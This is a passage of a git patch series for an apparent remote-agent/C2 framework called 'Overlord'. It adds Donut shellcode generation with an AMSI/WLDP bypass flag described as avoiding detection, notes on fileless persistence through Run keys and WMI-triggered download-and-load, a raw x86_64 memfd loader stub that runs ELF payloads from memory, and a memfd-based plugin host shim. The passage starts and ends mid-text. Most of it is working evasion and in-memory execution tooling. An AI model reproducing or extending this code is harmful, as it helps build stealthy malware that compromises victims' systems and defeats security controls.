base64/C/etc wrapping) + * -a 1|2 architecture (1=x86, 2=x64) + * -b 2 bypass AMSI + WLDP by returning failure (abort) — avoids detection + * -x 1 exit by thread exit, not process exit — prevents crashing the host + * + * NOTE — persistence in shellcode mode: + * When the agent runs as shellcode injected into another process, os.Executable() + * on Windows resolves to the HOST process binary via GetModuleFileNameW(NULL). + * Persistence methods (startup, registry, taskscheduler, wmi) would therefore + * register the HOST executable for autostart — not the agent — which is wrong. + * + * Theoretical fixes: + * 1. Server-side stage-2 push: after first connection the server sends agent_update + * with a PE binary (persistence-enabled). Agent writes it to disk + registers. + * 2. Registry shellcode blob: store raw shellcode in a Run key with a PowerShell + * loader stub that allocates RWX memory, copies the blob, and CreateThread's it. + * Requires a new persist_shellcode_registry build tag in the agent. + * 3. WMI/task scheduler with a PS one-liner that downloads and reflectively loads + * the shellcode each time the trigger fires (fully fileless persistence). + * 4. Self-droping: on first run, agent uses VirtualQuery on a known code pointer to + * locate its own loaded image, writes it to a temp path, and registers from there. + */ +export async function runDonut( + inputPe: string, + outputBin: string, + arch: "amd64" | "386", + sendToStream: (data: any) => void, +): Promise { + const bin = await ensureDonut(sendToStream); + if (!bin) { + sendToStream({ type: "output", text: "ERROR: Donut binary not available\n", level: "error" }); + return false; + } + + const archFlag = arch === "386" ? "1" : "2"; + + try { + // -i flag required since donut v1 (previously positional arg) + const result = await $`${bin} -f 1 -a ${archFlag} -b 3 -x 1 -o ${outputBin} -i ${inputPe}` + .nothrow() + .quiet(); + const stdout = result.stdout.toString().trim(); + if (stdout) { + sendToStream({ type: "output", text: stdout + "\n", level: "info" }); + } + if (result.exitCode !== 0) { + const stderr = result.stderr.toString().trim(); + sendToStream({ type: "output", text: `Donut failed (exit ${result.exitCode})${stderr ? `: ${stderr}` : ""}\n`, level: "error" }); + return false; + } + const outSize = fs.existsSync(outputBin) ? fs.statSync(outputBin).size : 0; + if (outSize === 0) { + sendToStream({ type: "output", text: "Donut produced no output — check that the input PE is valid\n", level: "error" }); + return false; + } + return true; + } catch (err: any) { + sendToStream({ type: "output", text: `Donut error: ${err?.message ?? err}\n`, level: "error" }); + return false; + } +} \ No newline at end of file diff --git a/Overlord-Server/src/server/linux-shellcode-manager.ts b/Overlord-Server/src/server/linux-shellcode-manager.ts new file mode 100644 index 0000000..e5d9821 --- /dev/null +++ b/Overlord-Server/src/server/linux-shellcode-manager.ts @@ -0,0 +1,65 @@ +import fs from "fs"; +import path from "path"; + +// 113-byte x86_64 Linux ELF-in-memory loader shellcode stub +// Entry: executes ELF appended after stub via memfd_create + execveat (syscalls 319, 1, 322) +// Layout after stub: [uint32le ELF size][ELF bytes] +// Source: Overlord-Server/tools/elf_loader.asm +const ELF_LOADER_STUB_X64 = new Uint8Array([ + 0xe8, 0x02, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x5b, 0x48, 0x89, 0xdf, 0x6a, + 0x01, 0x5e, 0x68, 0x3f, 0x01, 0x00, 0x00, 0x58, 0x0f, 0x05, 0x48, 0x85, + 0xc0, 0x78, 0x4e, 0x50, 0x41, 0x5c, 0x48, 0x8d, 0x4b, 0x6c, 0x8b, 0x11, + 0x48, 0x8d, 0x71, 0x04, 0x85, 0xd2, 0x74, 0x1a, 0x52, 0x56, 0x41, 0x54, + 0x5f, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x5e, 0x5a, 0x48, 0x85, + 0xc0, 0x7e, 0x2a, 0x48, 0x01, 0xc6, 0x29, 0xc2, 0xeb, 0xe2, 0x6a, 0x00, + 0x48, 0x8d, 0x34, 0x24, 0x6a, 0x00, 0x48, 0x8d, 0x14, 0x24, 0x6a, 0x00, + 0x4c, 0x8d, 0x14, 0x24, 0x41, 0x54, 0x5f, 0x41, 0xb8, 0x00, 0x10, 0x00, + 0x00, 0x68, 0x42, 0x01, 0x00, 0x00, 0x58, 0x0f, 0x05, 0x6a, 0x01, 0x5f, + 0x6a, 0x3c, 0x58, 0x0f, 0x05, +]); + +/** + * Wraps a Linux ELF binary in a position-independent shellcode stub. + * + * The result is raw x86_64 shellcode that, when executed, uses + * memfd_create + execveat to load and run the embedded ELF entirely + * from anonymous memory — no file is written to disk. + * + * Layout: [113-byte stub][4-byte LE ELF size][ELF bytes] + */ +export function wrapElfAsShellcode(elfBytes: Buffer): Buffer { + const stub = ELF_LOADER_STUB_X64; + const sizeBuf = Buffer.alloc(4); + sizeBuf.writeUInt32LE(elfBytes.length, 0); + return Buffer.concat([Buffer.from(stub), sizeBuf, elfBytes]); +} + +/** + * Reads elfPath, wraps it, writes shellcode to scPath. + * Returns size of output on success. + */ +export function buildLinuxShellcode( + elfPath: string, + scPath: string, + sendToStream: (data: any) => void, +): boolean { + try { + const elfBytes = fs.readFileSync(elfPath); + const sc = wrapElfAsShellcode(elfBytes); + fs.mkdirSync(path.dirname(scPath), { recursive: true }); + fs.writeFileSync(scPath, sc); + sendToStream({ + type: "output", + text: `Linux shellcode: ${elfBytes.length} byte ELF → ${sc.length} byte stub (${sc.length - elfBytes.length} byte header)\n`, + level: "info", + }); + return true; + } catch (err: any) { + sendToStream({ + type: "output", + text: `Linux shellcode wrap failed: ${err.message ?? err}\n`, + level: "error", + }); + return false; + } +} diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts index b32f826..adfd435 100644 --- a/Overlord-Server/src/server/routes/build-routes.ts +++ b/Overlord-Server/src/server/routes/build-routes.ts @@ -110,6 +110,9 @@ export async function handleBuildRoutes( sleepSeconds, boundFiles, iosBundleId, + useDonut, + useLinuxShellcode, + shellcodeConsole, } = body; if (!platforms || !Array.isArray(platforms) || platforms.length === 0) { @@ -376,6 +379,9 @@ export async function handleBuildRoutes( sleepSeconds: safeSleepSeconds, boundFiles: safeBoundFiles, iosBundleId: typeof iosBundleId === "string" && /^[a-zA-Z0-9.-]{1,128}$/.test(iosBundleId.trim()) ? iosBundleId.trim() : undefined, + useDonut: !!useDonut, + useLinuxShellcode: !!useLinuxShellcode, + shellcodeConsole: !!shellcodeConsole, }).finally(() => { if (rateLimitActive) recordBuildEnd(user.userId); }); diff --git a/docker-compose.yml b/docker-compose.yml index e0d449f..2ca3835 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -4,10 +4,6 @@ services: build: context: . dockerfile: Dockerfile - cache_from: - - type=local,src=.docker-cache/buildx - cache_to: - - type=local,dest=.docker-cache/buildx,mode=max container_name: overlord-server # Host networking: the container shares the host's network stack directly. # Every port the server binds (5173, SOCKS5 proxies, etc.) is accessible @@ -61,7 +57,7 @@ services: - no-new-privileges:true healthcheck: # Use http:// when OVERLORD_TLS_OFFLOAD=true. - test: ["CMD-SHELL", "curl -f ${OVERLORD_HEALTHCHECK_URL:-https://localhost:5173/health} >/dev/null 2>&1 || exit 1"] + test: ["CMD-SHELL", "wget -qO- --no-check-certificate ${OVERLORD_HEALTHCHECK_URL:-https://localhost:5173/health} >/dev/null 2>&1 || exit 1"] interval: 30s timeout: 10s retries: 3 From 0dd0676f334493dea1d4692a8a6ba4c14f79372f Mon Sep 17 00:00:00 2001 From: DeadmanLabs Date: Sun, 10 May 2026 16:42:56 -0400 Subject: [PATCH 2/7] fix: add missing shellcode UI functions and restore dynamic linking applyDonutMode, applyLinuxShellcodeMode, and updateShellcodeCheckboxVisibility were called throughout build.js but never defined, breaking platform selection and the build button. Add the missing implementations. Also remove forced -extldflags '-static' on Linux CGO builds; fully static glibc binaries cannot call dlopen, which broke native plugin loading entirely. --- Overlord-Server/public/assets/build.js | 40 ++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index f33cacc..1de8a37 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -477,6 +477,46 @@ function applyCryptableMode(enabled) { saveFormSettings(); } +function updateShellcodeCheckboxVisibility() { + const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value); + const hasWindows = selected.some((p) => p.startsWith("windows-")); + const hasLinuxAmd64 = selected.includes("linux-amd64"); + + const donutRow = document.getElementById("donut-row"); + if (donutRow) donutRow.classList.toggle("hidden", !hasWindows); + + const linuxScRow = document.getElementById("linux-sc-row"); + if (linuxScRow) linuxScRow.classList.toggle("hidden", !hasLinuxAmd64); +} + +function applyDonutMode(enabled) { + const badge = document.getElementById("donut-badge"); + if (badge) badge.classList.toggle("hidden", !enabled); + + if (enabled) { + const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value); + const hasNonWindows = selected.some((p) => !p.startsWith("windows-")); + const nonWinWarn = document.getElementById("donut-nonwin-warn"); + if (nonWinWarn) nonWinWarn.classList.toggle("hidden", !hasNonWindows); + } + + saveFormSettings(); +} + +function applyLinuxShellcodeMode(enabled) { + const badge = document.getElementById("linux-sc-badge"); + if (badge) badge.classList.toggle("hidden", !enabled); + + if (enabled) { + const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value); + const hasNonAmd64Linux = selected.some((p) => p.startsWith("linux-") && p !== "linux-amd64"); + const nonX64Warn = document.getElementById("linux-sc-nonx64-warn"); + if (nonX64Warn) nonX64Warn.classList.toggle("hidden", !hasNonAmd64Linux); + } + + saveFormSettings(); +} + restoreFormSettings(); initAccordions(); updateWindowsSectionVisibility(); From 189b2ff1945b88e52565d0ada9cb5cd20a306103 Mon Sep 17 00:00:00 2001 From: DeadmanLabs Date: Sun, 10 May 2026 16:52:42 -0400 Subject: [PATCH 3/7] fix: call updateShellcodeCheckboxVisibility on page load Shellcode rows were hidden on initial load because the function was only wired to checkbox change events. Call it at startup and in applyFormSettings so pre-selected platforms correctly show their shellcode options immediately. --- Overlord-Server/public/assets/build.js | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 1de8a37..a8775cb 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -229,6 +229,7 @@ function applyFormSettings(settings) { updateWindowsSectionVisibility(); updateIosSectionVisibility(); updatePersistenceSettingsVisibility(); + updateShellcodeCheckboxVisibility(); if (solMemoCheckbox && solSettings) { solSettings.classList.toggle("hidden", !solMemoCheckbox.checked); } @@ -520,6 +521,7 @@ function applyLinuxShellcodeMode(enabled) { restoreFormSettings(); initAccordions(); updateWindowsSectionVisibility(); +updateShellcodeCheckboxVisibility(); init(); if (solMemoCheckbox && solSettings) { From fde6c396ad6f4bf832b792c15be5ea1c85a8cd78 Mon Sep 17 00:00:00 2001 From: DeadmanLabs Date: Sun, 10 May 2026 17:25:59 -0400 Subject: [PATCH 4/7] feat: Linux plugin subprocess shim for static-agent compatibility Static musl binaries cannot call dlopen. Introduce a small C shim (plugin_host.c) that is compiled at agent-build time into a dynamically-linked binary, embedded via go:embed, and fork+exec'd to load .so plugins on behalf of the static agent over a Unix socketpair. Empty placeholder files allow go:embed to compile without error; the real binaries are produced by build-process.ts before go build runs and are never committed. Documents the IPC protocol and build matrix in PLUGINS.md Section 12. --- .../cmd/agent/plugins/loader_linux.go | 12 + .../agent/plugins/loader_linux_host_amd64.go | 8 + .../agent/plugins/loader_linux_host_arm.go | 8 + .../agent/plugins/loader_linux_host_arm64.go | 8 + .../agent/plugins/loader_linux_host_stub.go | 7 + .../cmd/agent/plugins/loader_linux_subproc.go | 299 ++++++++++++++++++ .../agent/plugins/plugin_host/plugin_host.c | 208 ++++++++++++ .../plugins/plugin_host/plugin_host_amd64 | 0 .../agent/plugins/plugin_host/plugin_host_arm | 0 .../plugins/plugin_host/plugin_host_arm64 | 0 Overlord-Server/src/server/build-process.ts | 32 ++ plugins/PLUGINS.md | 76 +++++ 12 files changed, 658 insertions(+) create mode 100644 Overlord-Client/cmd/agent/plugins/loader_linux_host_amd64.go create mode 100644 Overlord-Client/cmd/agent/plugins/loader_linux_host_arm.go create mode 100644 Overlord-Client/cmd/agent/plugins/loader_linux_host_arm64.go create mode 100644 Overlord-Client/cmd/agent/plugins/loader_linux_host_stub.go create mode 100644 Overlord-Client/cmd/agent/plugins/loader_linux_subproc.go create mode 100644 Overlord-Client/cmd/agent/plugins/plugin_host/plugin_host.c create mode 100644 Overlord-Client/cmd/agent/plugins/plugin_host/plugin_host_amd64 create mode 100644 Overlord-Client/cmd/agent/plugins/plugin_host/plugin_host_arm create mode 100644 Overlord-Client/cmd/agent/plugins/plugin_host/plugin_host_arm64 diff --git a/Overlord-Client/cmd/agent/plugins/loader_linux.go b/Overlord-Client/cmd/agent/plugins/loader_linux.go index 0be1426..a8838e7 100644 --- a/Overlord-Client/cmd/agent/plugins/loader_linux.go +++ b/Overlord-Client/cmd/agent/plugins/loader_linux.go @@ -106,6 +106,18 @@ func loadNativePlugin(data []byte) (NativePlugin, error) { return nil, errors.New("empty plugin binary") } + // Prefer the subprocess shim approach: the main agent binary is statically + // linked (musl -static) which prevents dlopen from working in-process. + // The shim is a small dynamically-linked binary that can dlopen normally. + if len(pluginHostBinary) > 0 { + p, err := loadNativePluginSubproc(data) + if err == nil { + return p, nil + } + // Fall through — the shim may be incompatible with this target's libc. + _ = err + } + fd := C.so_memfd_create() if fd < 0 { return nil, errors.New("memfd_create failed") diff --git a/Overlord-Client/cmd/agent/plugins/loader_linux_host_amd64.go b/Overlord-Client/cmd/agent/plugins/loader_linux_host_amd64.go new file mode 100644 index 0000000..bab6921 --- /dev/null +++ b/Overlord-Client/cmd/agent/plugins/loader_linux_host_amd64.go @@ -0,0 +1,8 @@ +//go:build linux && cgo && amd64 + +package plugins + +import _ "embed" + +//go:embed plugin_host/plugin_host_amd64 +var pluginHostBinary []byte diff --git a/Overlord-Client/cmd/agent/plugins/loader_linux_host_arm.go b/Overlord-Client/cmd/agent/plugins/loader_linux_host_arm.go new file mode 100644 index 0000000..dac3b6f --- /dev/null +++ b/Overlord-Client/cmd/agent/plugins/loader_linux_host_arm.go @@ -0,0 +1,8 @@ +//go:build linux && cgo && arm + +package plugins + +import _ "embed" + +//go:embed plugin_host/plugin_host_arm +var pluginHostBinary []byte diff --git a/Overlord-Client/cmd/agent/plugins/loader_linux_host_arm64.go b/Overlord-Client/cmd/agent/plugins/loader_linux_host_arm64.go new file mode 100644 index 0000000..0a5fcf9 --- /dev/null +++ b/Overlord-Client/cmd/agent/plugins/loader_linux_host_arm64.go @@ -0,0 +1,8 @@ +//go:build linux && cgo && arm64 + +package plugins + +import _ "embed" + +//go:embed plugin_host/plugin_host_arm64 +var pluginHostBinary []byte diff --git a/Overlord-Client/cmd/agent/plugins/loader_linux_host_stub.go b/Overlord-Client/cmd/agent/plugins/loader_linux_host_stub.go new file mode 100644 index 0000000..32246eb --- /dev/null +++ b/Overlord-Client/cmd/agent/plugins/loader_linux_host_stub.go @@ -0,0 +1,7 @@ +//go:build linux && cgo && !amd64 && !arm64 && !arm + +package plugins + +// pluginHostBinary is empty on architectures without a compiled plugin host shim. +// The loader falls back to direct dlopen on these platforms. +var pluginHostBinary []byte diff --git a/Overlord-Client/cmd/agent/plugins/loader_linux_subproc.go b/Overlord-Client/cmd/agent/plugins/loader_linux_subproc.go new file mode 100644 index 0000000..e7109ee --- /dev/null +++ b/Overlord-Client/cmd/agent/plugins/loader_linux_subproc.go @@ -0,0 +1,299 @@ +//go:build linux && cgo + +package plugins + +/* +#include +#include + +static int make_socketpair(int fds[2]) { + return socketpair(AF_UNIX, SOCK_STREAM, 0, fds); +} +*/ +import "C" + +import ( + "encoding/binary" + "errors" + "fmt" + "io" + "os" + "strconv" + "sync" + "syscall" + "unsafe" +) + +// Message type constants — must match plugin_host.c +const ( + phMsgLoad = 0x01 + phMsgEvent = 0x02 + phMsgUnload = 0x03 + phMsgCallback = 0x10 + phMsgReady = 0x11 + phMsgErr = 0x12 + phMsgLoadResult = 0x13 +) + +// loadNativePluginSubproc attempts to load the plugin by fork+exec-ing the +// embedded plugin_host shim. Returns an error if pluginHostBinary is empty +// (not compiled) or if any setup step fails. +func loadNativePluginSubproc(soData []byte) (NativePlugin, error) { + if len(pluginHostBinary) == 0 { + return nil, errors.New("plugin host shim not available for this architecture") + } + + // Write the .so to a memfd so the shim can dlopen it. + soFd := int(C.so_memfd_create()) + if soFd < 0 { + return nil, errors.New("memfd_create failed for plugin .so") + } + if C.so_write_all(C.int(soFd), unsafe.Pointer(&soData[0]), C.size_t(len(soData))) != 0 { + syscall.Close(soFd) + return nil, errors.New("write to plugin .so memfd failed") + } + + // Write the shim binary to a memfd WITHOUT close-on-exec so it survives exec. + shimFd, _, errno := syscall.RawSyscall(syscall.SYS_MEMFD_CREATE, + uintptr(unsafe.Pointer(syscall.StringBytePtr("ph"))), 0, 0) + if int(shimFd) < 0 { + syscall.Close(soFd) + return nil, fmt.Errorf("memfd_create for shim failed: %w", errno) + } + shimFile := os.NewFile(shimFd, "plugin_host_shim") + if _, err := shimFile.Write(pluginHostBinary); err != nil { + shimFile.Close() + syscall.Close(soFd) + return nil, fmt.Errorf("write shim to memfd: %w", err) + } + + // Create a socketpair for bidirectional communication. + var fds [2]C.int + if C.make_socketpair(&fds[0]) != 0 { + shimFile.Close() + syscall.Close(soFd) + return nil, errors.New("socketpair failed") + } + parentSock := int(fds[0]) + childSock := int(fds[1]) + + // ForkExec the shim. Pass fds to the child via ProcAttr.Files: + // child fd 0 = /dev/null + // child fd 1 = parent stdout (for debug output) + // child fd 2 = parent stderr + // child fd 3 = .so memfd + // child fd 4 = child end of socketpair + devNull, _ := syscall.Open("/dev/null", syscall.O_RDONLY, 0) + shimPath := fmt.Sprintf("/proc/self/fd/%d", int(shimFd)) + pid, err := syscall.ForkExec(shimPath, []string{"plugin_host", + strconv.Itoa(3), strconv.Itoa(4)}, + &syscall.ProcAttr{ + Files: []uintptr{ + uintptr(devNull), + 1, + 2, + uintptr(soFd), + uintptr(childSock), + }, + }, + ) + // Parent no longer needs these fds. + syscall.Close(devNull) + syscall.Close(soFd) + syscall.Close(childSock) + shimFile.Close() + + if err != nil { + syscall.Close(parentSock) + return nil, fmt.Errorf("forkexec plugin_host: %w", err) + } + + p := &subProcPlugin{ + pid: pid, + sock: os.NewFile(uintptr(parentSock), "plugin_sock"), + loadResultCh: make(chan error, 1), + stopCh: make(chan struct{}), + } + go p.readLoop() + + // Wait for MSG_READY (or MSG_ERR) to confirm the shim loaded the .so. + select { + case err := <-p.loadResultCh: + if err != nil { + p.sock.Close() + return nil, err + } + case <-p.stopCh: + p.sock.Close() + return nil, errors.New("plugin host exited before sending READY") + } + + return p, nil +} + +// subProcPlugin implements NativePlugin by routing calls through the shim subprocess. +type subProcPlugin struct { + pid int + sock *os.File + mu sync.Mutex + pluginRuntime string + sendFn func(string, []byte) + loadResultCh chan error + stopCh chan struct{} + stopOnce sync.Once +} + +func (p *subProcPlugin) readLoop() { + defer p.stopOnce.Do(func() { close(p.stopCh) }) + + for { + msgType, payload, err := p.recvMsg() + if err != nil { + return + } + + switch msgType { + case phMsgReady: + p.mu.Lock() + p.pluginRuntime = string(payload) + p.mu.Unlock() + // Signal the constructor that the shim is ready. + select { + case p.loadResultCh <- nil: + default: + } + + case phMsgErr: + select { + case p.loadResultCh <- fmt.Errorf("plugin_host: %s", payload): + default: + } + return + + case phMsgLoadResult: + if len(payload) > 0 && payload[0] != 0 { + select { + case p.loadResultCh <- errors.New("PluginOnLoad returned non-zero"): + default: + } + } else { + select { + case p.loadResultCh <- nil: + default: + } + } + + case phMsgCallback: + if len(payload) < 6 { + continue + } + evLen := int(binary.LittleEndian.Uint16(payload[0:2])) + if len(payload) < 2+evLen+4 { + continue + } + plLen := int(binary.LittleEndian.Uint32(payload[2+evLen:])) + event := string(payload[2 : 2+evLen]) + var pl []byte + if plLen > 0 && len(payload) >= 2+evLen+4+plLen { + pl = payload[2+evLen+4 : 2+evLen+4+plLen] + } + p.mu.Lock() + fn := p.sendFn + p.mu.Unlock() + if fn != nil { + fn(event, pl) + } + } + } +} + +func (p *subProcPlugin) sendMsg(msgType uint8, payload []byte) error { + total := uint32(1 + len(payload)) + hdr := make([]byte, 5) + binary.LittleEndian.PutUint32(hdr[:4], total) + hdr[4] = msgType + p.mu.Lock() + defer p.mu.Unlock() + if _, err := p.sock.Write(hdr); err != nil { + return err + } + if len(payload) > 0 { + if _, err := p.sock.Write(payload); err != nil { + return err + } + } + return nil +} + +func (p *subProcPlugin) recvMsg() (uint8, []byte, error) { + hdr := make([]byte, 5) + if _, err := io.ReadFull(p.sock, hdr); err != nil { + return 0, nil, err + } + total := binary.LittleEndian.Uint32(hdr[:4]) + if total == 0 { + return 0, nil, errors.New("zero-length message") + } + msgType := hdr[4] + payloadLen := total - 1 + if payloadLen == 0 { + return msgType, nil, nil + } + payload := make([]byte, payloadLen) + if _, err := io.ReadFull(p.sock, payload); err != nil { + return 0, nil, err + } + return msgType, payload, nil +} + +func (p *subProcPlugin) Load(send func(string, []byte), hostInfo []byte) error { + p.mu.Lock() + p.sendFn = send + p.mu.Unlock() + + // Send MSG_LOAD; shim will call PluginOnLoad and reply with MSG_LOAD_RESULT. + if err := p.sendMsg(phMsgLoad, hostInfo); err != nil { + return fmt.Errorf("send MSG_LOAD: %w", err) + } + + select { + case err := <-p.loadResultCh: + return err + case <-p.stopCh: + return errors.New("plugin host exited during load") + } +} + +func (p *subProcPlugin) Event(event string, payload []byte) error { + evBytes := []byte(event) + evLen := len(evBytes) + plLen := len(payload) + msg := make([]byte, 2+evLen+4+plLen) + binary.LittleEndian.PutUint16(msg[0:2], uint16(evLen)) + copy(msg[2:], evBytes) + binary.LittleEndian.PutUint32(msg[2+evLen:], uint32(plLen)) + if plLen > 0 { + copy(msg[2+evLen+4:], payload) + } + return p.sendMsg(phMsgEvent, msg) +} + +func (p *subProcPlugin) Unload() { + _ = p.sendMsg(phMsgUnload, nil) +} + +func (p *subProcPlugin) Close() error { + p.Unload() + p.sock.Close() + // Reap the child process. + if p.pid > 0 { + syscall.Wait4(p.pid, nil, 0, nil) + } + return nil +} + +func (p *subProcPlugin) Runtime() string { + p.mu.Lock() + defer p.mu.Unlock() + return p.pluginRuntime +} diff --git a/Overlord-Client/cmd/agent/plugins/plugin_host/plugin_host.c b/Overlord-Client/cmd/agent/plugins/plugin_host/plugin_host.c new file mode 100644 index 0000000..72a4649 --- /dev/null +++ b/Overlord-Client/cmd/agent/plugins/plugin_host/plugin_host.c @@ -0,0 +1,208 @@ +/* + * plugin_host — subprocess shim that dlopen()s a plugin .so on behalf of a + * statically-linked parent agent. + * + * Build (amd64, glibc): cc -O2 -o plugin_host_amd64 plugin_host.c -ldl + * Build (arm64, musl): aarch64-linux-musl-gcc -O2 -o plugin_host_arm64 plugin_host.c -ldl + * Build (armv7, musl): armv7l-linux-musleabihf-gcc -O2 -o plugin_host_arm plugin_host.c -ldl + * + * This file is compiled at agent-build time by build-process.ts and embedded + * into the agent via //go:embed. It is NOT committed as a binary. + * + * Protocol (framed over a Unix socketpair): + * Each message: [4-byte LE total-payload-len][1-byte type][payload...] + * + * Agent → Host: + * 0x01 MSG_LOAD payload = raw hostInfo bytes + * 0x02 MSG_EVENT payload = [u16le eventLen][event][u32le payloadLen][payload] + * 0x03 MSG_UNLOAD payload = (empty) + * + * Host → Agent: + * 0x10 MSG_CALLBACK payload = [u16le eventLen][event][u32le payloadLen][payload] + * 0x11 MSG_READY payload = runtime string (e.g. "c", "rust") + * 0x12 MSG_ERR payload = error string (sent instead of READY on failure) + * 0x13 MSG_LOAD_RESULT payload = [u8: 0=ok, 1=err] + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include + +#define MSG_LOAD 0x01 +#define MSG_EVENT 0x02 +#define MSG_UNLOAD 0x03 +#define MSG_CALLBACK 0x10 +#define MSG_READY 0x11 +#define MSG_ERR 0x12 +#define MSG_LOAD_RESULT 0x13 + +static int g_sock = -1; + +static int read_exact(int fd, void *buf, size_t n) { + char *p = (char *)buf; + while (n > 0) { + ssize_t r = read(fd, p, n); + if (r <= 0) return -1; + p += r; n -= (size_t)r; + } + return 0; +} + +static int write_exact(int fd, const void *buf, size_t n) { + const char *p = (const char *)buf; + while (n > 0) { + ssize_t w = write(fd, p, n); + if (w <= 0) return -1; + p += w; n -= (size_t)w; + } + return 0; +} + +static int send_msg(uint8_t type, const void *payload, uint32_t len) { + uint32_t total = 1 + len; + uint8_t hdr[4] = { + (uint8_t)(total), + (uint8_t)(total >> 8), + (uint8_t)(total >> 16), + (uint8_t)(total >> 24) + }; + if (write_exact(g_sock, hdr, 4) < 0) return -1; + if (write_exact(g_sock, &type, 1) < 0) return -1; + if (len > 0 && write_exact(g_sock, payload, len) < 0) return -1; + return 0; +} + +static int recv_msg(uint8_t *type, uint8_t **payload, uint32_t *len) { + uint8_t hdr[4]; + if (read_exact(g_sock, hdr, 4) < 0) return -1; + uint32_t total = (uint32_t)hdr[0] | ((uint32_t)hdr[1] << 8) + | ((uint32_t)hdr[2] << 16) | ((uint32_t)hdr[3] << 24); + if (total == 0) return -1; + *type = 0; + if (read_exact(g_sock, type, 1) < 0) return -1; + *len = total - 1; + *payload = NULL; + if (*len > 0) { + *payload = malloc(*len); + if (!*payload) return -1; + if (read_exact(g_sock, *payload, *len) < 0) { free(*payload); *payload = NULL; return -1; } + } + return 0; +} + +/* Forwarded to the plugin as the host callback. */ +static void plugin_callback(uintptr_t ctx, + const char *event, int eventLen, + const char *payload, int payloadLen) { + (void)ctx; + uint32_t msgLen = 2 + (uint32_t)eventLen + 4 + (uint32_t)payloadLen; + uint8_t *buf = (uint8_t *)malloc(msgLen); + if (!buf) return; + + buf[0] = (uint8_t)(eventLen); + buf[1] = (uint8_t)(eventLen >> 8); + memcpy(buf + 2, event, eventLen); + + uint32_t pl = (uint32_t)payloadLen; + buf[2 + eventLen + 0] = (uint8_t)(pl); + buf[2 + eventLen + 1] = (uint8_t)(pl >> 8); + buf[2 + eventLen + 2] = (uint8_t)(pl >> 16); + buf[2 + eventLen + 3] = (uint8_t)(pl >> 24); + if (payloadLen > 0) memcpy(buf + 2 + eventLen + 4, payload, payloadLen); + + send_msg(MSG_CALLBACK, buf, msgLen); + free(buf); +} + +int main(int argc, char *argv[]) { + if (argc < 3) { + fprintf(stderr, "usage: plugin_host \n"); + return 1; + } + int soFd = atoi(argv[1]); + g_sock = atoi(argv[2]); + + /* dlopen the .so via its memfd path. */ + char soPath[64]; + snprintf(soPath, sizeof(soPath), "/proc/self/fd/%d", soFd); + + void *handle = dlopen(soPath, RTLD_NOW | RTLD_LOCAL); + close(soFd); + + if (!handle) { + const char *err = dlerror(); + if (!err) err = "dlopen failed"; + send_msg(MSG_ERR, err, (uint32_t)strlen(err)); + return 1; + } + + void *onLoadFn = dlsym(handle, "PluginOnLoad"); + void *onEventFn = dlsym(handle, "PluginOnEvent"); + void *onUnloadFn = dlsym(handle, "PluginOnUnload"); + + if (!onLoadFn || !onEventFn || !onUnloadFn) { + const char *err = "missing required plugin exports"; + send_msg(MSG_ERR, err, (uint32_t)strlen(err)); + dlclose(handle); + return 1; + } + + /* Detect runtime. */ + const char *runtime = "c"; + void *getRtFn = dlsym(handle, "PluginGetRuntime"); + if (getRtFn) { + typedef const char *(*fn_t)(void); + const char *r = ((fn_t)getRtFn)(); + if (r && *r) runtime = r; + } + + /* Send READY with the runtime string. */ + send_msg(MSG_READY, runtime, (uint32_t)strlen(runtime)); + + /* Main message loop. */ + while (1) { + uint8_t type; + uint8_t *payload; + uint32_t payloadLen; + if (recv_msg(&type, &payload, &payloadLen) < 0) break; + + if (type == MSG_LOAD) { + typedef int (*fn_t)(const char *, int, uintptr_t, uintptr_t); + int ret = ((fn_t)onLoadFn)( + (const char *)payload, (int)payloadLen, + (uintptr_t)plugin_callback, (uintptr_t)0); + uint8_t result = (ret == 0) ? 0 : 1; + send_msg(MSG_LOAD_RESULT, &result, 1); + free(payload); + + } else if (type == MSG_EVENT) { + if (payloadLen < 6) { free(payload); continue; } + uint16_t evLen = (uint16_t)(payload[0] | (payload[1] << 8)); + if (payloadLen < (uint32_t)(2 + evLen + 4)) { free(payload); continue; } + uint32_t plLen = (uint32_t)payload[2+evLen] + | ((uint32_t)payload[2+evLen+1] << 8) + | ((uint32_t)payload[2+evLen+2] << 16) + | ((uint32_t)payload[2+evLen+3] << 24); + typedef int (*fn_t)(const char *, int, const char *, int); + ((fn_t)onEventFn)( + (const char *)(payload + 2), (int)evLen, + (const char *)(payload + 2 + evLen + 4), (int)plLen); + free(payload); + + } else if (type == MSG_UNLOAD) { + free(payload); + typedef void (*fn_t)(void); + ((fn_t)onUnloadFn)(); + if (strcmp(runtime, "go") != 0) dlclose(handle); + break; + + } else { + free(payload); + } + } + return 0; +} diff --git a/Overlord-Client/cmd/agent/plugins/plugin_host/plugin_host_amd64 b/Overlord-Client/cmd/agent/plugins/plugin_host/plugin_host_amd64 new file mode 100644 index 0000000..e69de29 diff --git a/Overlord-Client/cmd/agent/plugins/plugin_host/plugin_host_arm b/Overlord-Client/cmd/agent/plugins/plugin_host/plugin_host_arm new file mode 100644 index 0000000..e69de29 diff --git a/Overlord-Client/cmd/agent/plugins/plugin_host/plugin_host_arm64 b/Overlord-Client/cmd/agent/plugins/plugin_host/plugin_host_arm64 new file mode 100644 index 0000000..e69de29 diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index 723ea59..8efa174 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -866,6 +866,38 @@ func runBoundFiles() { sendToStream({ type: "output", text: "Linux CGO: static linking enabled (avoids GLIBC version mismatch)\n", level: "info" }); } + // Compile the plugin host shim so the agent can embed it via //go:embed. + // The 